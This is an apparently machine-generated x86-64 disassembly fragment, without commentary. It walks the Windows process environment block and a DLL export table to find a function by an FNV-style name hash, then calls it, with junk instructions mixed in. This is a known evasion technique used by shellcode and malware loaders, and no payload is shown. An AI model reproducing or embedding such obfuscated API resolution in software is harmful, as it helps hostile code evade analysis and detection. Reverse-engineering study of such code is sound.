test eax, eax
jmp 0x1405f8b0b
jns 0x1405f8b1b
mov ebp, 4
jmp 0x1405f8b3e
bt eax, 0x1e
setl ah
not bpl
mov ebp, r8d
movsx eax, r11w
setb bpl
movzx ax, r9b
sete ah
lahf
inc ebp
movsxd rax, r8d
mov rax, qword [0x14002d1f0]
cmp edi, 0x41244727
test rax, rax
jmp 0x1405f8b53
jne 0x1405f8c9d
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x60]
not rsi
shr al, cl
movsxd r11, esi
mov rax, qword [rcx + 0x18]
mov rsi, qword [rax + 0x10]
nop dword [rax]
sal r11, 0xf3
mov r11, qword [rsi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov edi, dword [rax + r11 + 0x88]
lea rdi, [rdi + r11]
cmp rdi, r11
jmp 0x1405f8b9a
je 0x1405f8c5a
mov ebx, dword [rdi + 0x18]
mov r10d, r8d
test r9w, bp
test ebx, ebx
je 0x1405f8c5a
mov r9d, dword [rdi + 0x20]
add r9, r11
bts ax, bp
nop dword [rax]
mov eax, dword [r9]
and ecx, r9d
add rax, r11
and cl, r8b
rcr cl, 0x38
movzx ecx, byte [rax]
clc
test cl, cl
je 0x1405f8c35
nop dword [rax]
mov dx, bx
shr dl, cl
sbb dl, 0x6c
movsx edx, cl
lea rax, [rax + 1]
mov cx, r9w
not cx
movsx cx, dh
movzx ecx, byte [rax]
xor rdx, r8
btc r8w, r8w
imul r8, rdx, 0x1000193
test cl, cl
jmp 0x1405f8c15
jne 0x1405f8bea
movabs rax, 0x2516c627897eb827
test ecx, 0x68074430
stc
cmp r8, rax
je 0x1405f8c67
inc r10d
add r9, 4
cmovne r8, rbp
shld r8w, si, 0x7e
mov r8d, 0
cmp r10d, ebx
jmp 0x1405f8c54
jb 0x1405f8bc4
mov rsi, qword [rsi]
jmp 0x1405f8c62
jmp 0x1405f8b7e
mov eax, dword [rdi + 0x24]
movsx r8, r9w
lea rax, [rax + r11]
mov ecx, r10d
movzx edx, word [rax + rcx*2]
mov ecx, dword [rdi + 0x1c]
lea rcx, [rcx + r11]
mov r8b, 0xbd
mov eax, dword [rcx + rdx*4]
shrd ecx, r9d, 0x7e
lea rax, [rax + r11]
sar r8b, cl
sal r8w, cl
mov qword [0x14002d1f0], rax
mov edx, dword [r14 + 0xc]
btr r9, 0x95
rcl r8b, 0x4e
lea rcx, [rsp + 0x9c]
sbb r9b, r15b
mov r8d, dword [r14 + 0x10]
sal r9w, 0xb2
mov r9d, ebp
clc
test r10, r10
add rdx, qword [rsp + 0x50]
mov qword [rsp + 0x20], rcx
mov rcx, qword [rsp + 0x58]
jmp 0x1405f8cd9
mov rcx, qword [rcx]
jmp 0x1405f8ce1
call rax
movzx eax, word [r13 + 6]
dec r8b
movzx rdx, r11w
mov edx, 0x20
movsx r8d, si
inc r15d
btc r8, rsi
setne r8b
rol r8w, 0x56
lea r8d, [rdx - 0x20]
cmp r15d, eax
jmp 0x1405f8d14
jb 0x1405f8aa8
mov eax, dword [rsp + 0x98]
jmp 0x1405f63bf
mov eax, 2
jmp 0x1405f6417